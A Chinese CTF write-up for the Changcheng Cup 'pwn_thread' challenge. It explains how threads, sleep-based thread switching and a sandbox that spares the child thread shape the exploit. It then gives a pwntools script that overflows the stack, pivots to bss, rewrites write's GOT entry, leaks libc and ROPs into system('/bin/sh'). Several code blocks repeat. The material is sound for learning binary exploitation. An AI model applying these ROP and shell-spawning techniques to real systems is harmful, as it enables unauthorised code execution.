第一次参加长城杯初赛,第一次做线程题(pwn_thread),初上手的感觉就是调试困难,各种报错。上网找了一下,没找到说的很详细的,希望这篇文章能够对大家有所帮助!!!
可以看到,出了同种绿色的函数之外其他的函数都被禁止了。
main函数
其实就是开了一个子线程用来执行start_routine函数
start_routine
while循环不断打印字符,并且每次打印字符的时候都会暂停一秒钟。
sub_4014AD()
主线程的函数其实就是一个栈溢出嘛,只能覆盖一个返回地址。
相关函数
pthread_create:创造子线程的函数
sleep:让程序暂停的函数,当一个线程执行了sleep 函数后,操作系统会将该线程置为 “等待” 状态,并将 CPU 的控制权交给其他的 “就绪” 状态的线程。这个过程被称为 “线程切换”。我们可以认为当一个线程执行了sleep(time)之后,这个线程就会在time时间里处于等待状态,这个时间段程序就会执行其他线程。
线程与线程之间的关系
并行关系:
线程与线程之间是并行关系:即它们各自独立地执行各自的任务。
主从关系:
当主线程结束的时候子线程也会随之结束,这就是为什么我们回车之后程序就会结束。
pwndbg切换线程
关于沙箱与线程
就像这个程序一样,由于子程序在开启沙箱之前就创建了,所以不受沙箱影响
往bss区写入rop链并执行:
覆盖rbp为bss地址,覆盖返回地址为magic再进行一次输入,此时我们再次输入就是往bss区里面输入了。
修改write的got表为magic然后执行sleep函数切换到子线程
这里的操作是往bss布置的rop链,随后利用栈迁移来执行rop
泄露libc基址
到了这里之后,当子线程执行write函数就会跳转到magic地址执行输入
(这里为什么只需要0x30个垃圾数据是动调出来的,至于原因我也有些不明白)
覆盖返回地址执行system("/bin/sh")
由于我们只能刚好覆盖到返回地址,所以正常情况下这个溢出长度是不足以执行system("/bin/sh"),因此我们需要泄露栈地址(子线程上的栈地址与libc的偏移是固定的)然后栈迁移执行system("/bin/sh")
补充
这道题我发现了有两种不同的libc基址,一个是主线程另外一个应该是子线程的
当切换到子线程的时候执行system(/bin/sh)的时候,我发现只有子线程的libc基址才能正确执行函数,因此
子线程执行函数只能用子线程的libc基址
第一次调线程题感觉有点难调(菜),就把调试的代码也留一下吧,方便大家学习。
参考博客
(https://hanqi-blogs.cn/2023/DASCTF-2023-June-Binary-WP/)
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
pthread_t newthread;
sub_401256(a1, a2, a3);
puts(
"Welcome ,do you know threads?"
);
pthread_create(&newthread, 0LL, start_routine, 0LL);
sub_4014AD();
return
0LL;
}
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
pthread_t newthread;
sub_401256(a1, a2, a3);
puts(
"Welcome ,do you know threads?"
);
pthread_create(&newthread, 0LL, start_routine, 0LL);
sub_4014AD();
return
0LL;
}
void __fastcall __noreturn start_routine(void *a1)
{
while
( 1 )
{
write(1,
"This is my thread...\n"
, 0x16uLL);
sleep(1u);
}
}
void __fastcall __noreturn start_routine(void *a1)
{
while
( 1 )
{
write(1,
"This is my thread...\n"
, 0x16uLL);
sleep(1u);
}
}
ssize_t sub_4014AD()
{
char buf[64];
sub_4012BB();
##开启沙箱
return
read(0, buf, 0x50uLL);
}
ssize_t sub_4014AD()
{
char buf[64];
sub_4012BB();
##开启沙箱
return
read(0, buf, 0x50uLL);
}
info thread:查看线程列表
thread 线程序号:切换到指定序号的线程
info thread:查看线程列表
thread 线程序号:切换到指定序号的线程
payload = b
"A"
*0x40 + p64(bss + 0x40) + p64(magic)
io.sendafter(
"This is my thread..."
,payload)
payload = b
"A"
*0x40 + p64(bss + 0x40) + p64(magic)
io.sendafter(
"This is my thread..."
,payload)
sleep(0.1)
payload = p64(rsi_r15) + p64(elf.got[
"write"
]) + p64(0x0)
payload += p64(elf.plt[
"read"
]) + p64(rdi) + p64(0x1000) + p64(elf.plt[
"sleep"
])
payload = payload.ljust(0x40,b
"\x00"
)
payload += p64(bss - 0x8) + p64(leave_ret)
io.send(payload)
io.send(p64(magic))
sleep(0.1)
payload = p64(rsi_r15) + p64(elf.got[
"write"
]) + p64(0x0)
payload += p64(elf.plt[
"read"
]) + p64(rdi) + p64(0x1000) + p64(elf.plt[
"sleep"
])
payload = payload.ljust(0x40,b
"\x00"
)
payload += p64(bss - 0x8) + p64(leave_ret)
io.send(payload)
io.send(p64(magic))
io.recv()
payload = b
"A"
*0x30 + p64(rdi) + p64(elf.got[
"puts"
]) + p64(0x4010F0) + p64(magic)
stack_offset = 0x7f4eab81a420 - 0x7f4eab791ef0
thread_base_offset = 0x7fdf5d04a000 - 0x7fdf5cedc420
libcbase_offset = 0x7f5dbba23420 - 0x7f5dbb99f000
#input("==============================++>")
#gdb.attach(io,cmd)
#pause()
#pause()
io.send(payload)
puts = u64(io.recv(6).ljust(8,b
"\x00"
))
io.recv()
payload = b
"A"
*0x30 + p64(rdi) + p64(elf.got[
"puts"
]) + p64(0x4010F0) + p64(magic)
stack_offset = 0x7f4eab81a420 - 0x7f4eab791ef0
thread_base_offset = 0x7fdf5d04a000 - 0x7fdf5cedc420
libcbase_offset = 0x7f5dbba23420 - 0x7f5dbb99f000
#input("==============================++>")
#gdb.attach(io,cmd)
#pause()
#pause()
io.send(payload)
puts = u64(io.recv(6).ljust(8,b
"\x00"
))
stack_offset = 0x7f4eab81a420 - 0x7f4eab791ef0
stack = puts - stack_offset
system = libc.sym[
"system"
] + libcbase2
binsh = next(libc.search(b
"/bin/sh"
)) + libcbase2
payload = p64(rdi) + p64(binsh) + p64(system)
payload = payload.ljust(0x40,b
"\x00"
)
payload += p64(stack - 0x8 - 0x40) + p64(leave_ret)
io.send(payload)
stack_offset = 0x7f4eab81a420 - 0x7f4eab791ef0
stack = puts - stack_offset
system = libc.sym[
"system"
] + libcbase2
binsh = next(libc.search(b
"/bin/sh"
)) + libcbase2
payload = p64(rdi) + p64(binsh) + p64(system)
payload = payload.ljust(0x40,b
"\x00"
)
payload += p64(stack - 0x8 - 0x40) + p64(leave_ret)
io.send(payload)
from pwn import *
io = process(
"./thread_pwn"
)
context(log_level =
"debug"
,arch =
"amd64"
,os =
"linux"
)
elf = ELF(
"./thread_pwn"
)
libc = ELF(
"./libc-2.31.so"
)
bss = elf.bss() + 0x30 + 0x40 + 0x40
magic = 0X4014BE
rdi = 0x0000000000401593
rsi_r15 = 0x0000000000401591
leave_ret = 0x4014D5
print(
"bss=======================================>"
,hex(bss))
payload = b
"A"
*0x40 + p64(bss + 0x40) + p64(magic)
io.sendafter(
"This is my thread..."
,payload)
sleep(0.1)
payload = p64(rsi_r15) + p64(elf.got[
"write"
]) + p64(0x0)
payload += p64(elf.plt[
"read"
]) + p64(rdi) + p64(0x1000) + p64(elf.plt[
"sleep"
])
payload = payload.ljust(0x40,b
"\x00"
)
payload += p64(bss - 0x8) + p64(leave_ret)
cmd =
''
'
b *0x4014D4\n
c\n
thread 2\n
'
''
#gdb.attach(io,cmd)
#pause()
#libcbase:0x7fdf5d04a000
io.send(payload)
sleep(0.1)
io.send(p64(magic))
io.recv()
payload = b
"A"
*0x30 + p64(rdi) + p64(elf.got[
"puts"
]) + p64(0x4010F0) + p64(magic)
stack_offset = 0x7f4eab81a420 - 0x7f4eab791ef0
#子线程的栈地址偏移
thread_base_offset = 0x7fdf5d04a000 - 0x7fdf5cedc420
#子线程libc基址偏移
libcbase_offset = 0x7f5dbba23420 - 0x7f5dbb99f000
#主线程libc基址偏移
#input("==============================++>")
gdb.attach(io,cmd)
pause()
pause()
io.send(payload)
puts = u64(io.recv(6).ljust(8,b
"\x00"
))
print(
"puts==================================>"
,hex(puts))
stack = puts - stack_offset
libcbase = puts + thread_base_offset
libcbase2 = puts - libcbase_offset
print(
"======================================>"
,hex(stack))
print(
"===================================>"
,hex(libcbase))
print(
"==================================>"
,hex(libcbase2))
system = libc.sym[
"system"
] + libcbase2
binsh = next(libc.search(b
"/bin/sh"
)) + libcbase2
payload = p64(rdi) + p64(binsh) + p64(system)
payload = payload.ljust(0x40,b
"\x00"
)
payload += p64(stack - 0x8 - 0x40) + p64(leave_ret)
sleep(0.1)
print(
"system=========================================>"
,hex(system))
#pause()
io.send(payload)
io.interactive()
from pwn import *
io = process(
"./thread_pwn"
)
context(log_level =
"debug"
,arch =
"amd64"
,os =
"linux"
)
elf = ELF(
"./thread_pwn"
)
libc = ELF(
"./libc-2.31.so"
)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!